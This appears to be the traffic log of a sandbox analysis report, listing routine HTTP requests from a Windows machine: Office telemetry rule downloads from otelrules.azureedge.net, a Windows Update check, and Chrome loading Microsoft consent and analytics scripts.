Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vKwvtNd9nwa+pWR&MD=ehLGCMS2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
